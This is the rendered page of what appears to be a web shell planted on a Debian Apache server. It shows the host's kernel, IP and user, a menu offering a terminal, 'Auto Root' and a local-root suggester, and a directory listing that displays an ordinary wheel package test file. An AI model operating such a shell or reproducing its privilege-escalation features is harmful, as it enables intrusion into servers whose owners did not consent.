Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
wheel /
test /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2025-04-10 17:07
complex-dist
[ DIR ]
drwxr-xr-x
2025-04-10 17:07
headers.dist
[ DIR ]
drwxr-xr-x
2025-04-10 17:07
simple.dist
[ DIR ]
drwxr-xr-x
2025-04-10 17:07
__init__.py
1
B
-rw-r--r--
2015-09-15 19:28
pydist-schema.json
11.21
KB
-rw-r--r--
2015-09-15 19:28
test-1.0-py2.py3-none-win32.whl
5.1
KB
-rw-r--r--
2016-12-01 17:04
test_basic.py
6.25
KB
-rw-r--r--
2015-09-15 19:28
test_install.py
1.82
KB
-rw-r--r--
2015-09-15 19:28
test_keys.py
2.51
KB
-rw-r--r--
2015-09-15 19:28
test_paths.py
172
B
-rw-r--r--
2015-09-15 19:28
test_ranking.py
1.46
KB
-rw-r--r--
2015-09-15 20:11
test_signatures.py
1.09
KB
-rw-r--r--
2015-09-15 19:28
test_tagopt.py
5.79
KB
-rw-r--r--
2016-02-05 21:42
test_tool.py
656
B
-rw-r--r--
2016-02-05 21:42
test_wheelfile.py
4.48
KB
-rw-r--r--
2016-02-06 18:05
Save
Rename
# Test wheel. # The file has the following contents: # hello.pyd # hello/hello.py # hello/__init__.py # test-1.0.data/data/hello.dat # test-1.0.data/headers/hello.dat # test-1.0.data/scripts/hello.sh # test-1.0.dist-info/WHEEL # test-1.0.dist-info/METADATA # test-1.0.dist-info/RECORD # The root is PLATLIB # So, some in PLATLIB, and one in each of DATA, HEADERS and SCRIPTS. import wheel.tool import wheel.pep425tags from wheel.install import WheelFile from tempfile import mkdtemp import shutil import os THISDIR = os.path.dirname(__file__) TESTWHEEL = os.path.join(THISDIR, 'test-1.0-py2.py3-none-win32.whl') def check(*path): return os.path.exists(os.path.join(*path)) def test_install(): tempdir = mkdtemp() def get_supported(): return list(wheel.pep425tags.get_supported()) + [('py3', 'none', 'win32')] whl = WheelFile(TESTWHEEL, context=get_supported) assert whl.supports_current_python(get_supported) try: locs = {} for key in ('purelib', 'platlib', 'scripts', 'headers', 'data'): locs[key] = os.path.join(tempdir, key) os.mkdir(locs[key]) whl.install(overrides=locs) assert len(os.listdir(locs['purelib'])) == 0 assert check(locs['platlib'], 'hello.pyd') assert check(locs['platlib'], 'hello', 'hello.py') assert check(locs['platlib'], 'hello', '__init__.py') assert check(locs['data'], 'hello.dat') assert check(locs['headers'], 'hello.dat') assert check(locs['scripts'], 'hello.sh') assert check(locs['platlib'], 'test-1.0.dist-info', 'RECORD') finally: shutil.rmtree(tempdir) def test_install_tool(): """Slightly improve coverage of wheel.install""" wheel.tool.install([TESTWHEEL], force=True, dry_run=True)